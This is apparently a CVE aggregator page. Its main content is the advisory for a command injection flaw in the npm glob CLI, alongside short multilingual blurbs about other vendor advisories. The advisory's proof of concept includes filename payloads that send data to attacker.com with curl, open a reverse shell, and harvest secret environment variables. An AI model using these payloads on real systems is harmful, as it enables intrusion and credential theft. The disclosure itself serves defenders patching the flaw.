CVE-2025-64756

Siemens heeft kwetsbaarheden verholpen in diverse producten als Heliox, Ruggedcom, SICAM, SIDIS en SIMATIC.

SIDIS Prime before V4.0.800 is affected by multiple vulnerabilities in the components OpenSSL, SQLite, and several Node.js packages as described below. Siemens has released a new version of SIDIS Prime and recommends to update to the latest version.

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat OpenShift Service Mesh ausnutzen, um Sicherheitsvorkehrungen zu umgehen, schädlichen Code auszuführen oder einen Denial of Service herbeizuführen.

Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuführen, um Dateien zu manipulieren, um einen Denial of Service Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Red Hat Developer Hub ausnutzen, um einen Denial of Service Angriff durchzuführen, beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen und Daten zu manipulieren.

Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Atlassian Confluence ausnutzen, um beliebigen Programmcode auszuführen.

Ein Angreifer kann mehrere Schwachstellen in Dell Secure Connect Gateway Policy Manager ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen.

Ein Angreifer kann mehrere Schwachstellen in IBM Concert ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen und um Sicherheitsvorkehrungen zu umgehen.

### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0and 10.5.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ### Remediation - Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

SIDIS Prime before V4.0.800 is affected by multiple vulnerabilities in the components OpenSSL, SQLite, and several Node.js packages as described below. Siemens has released a new version of SIDIS Prime and recommends to update to the latest version.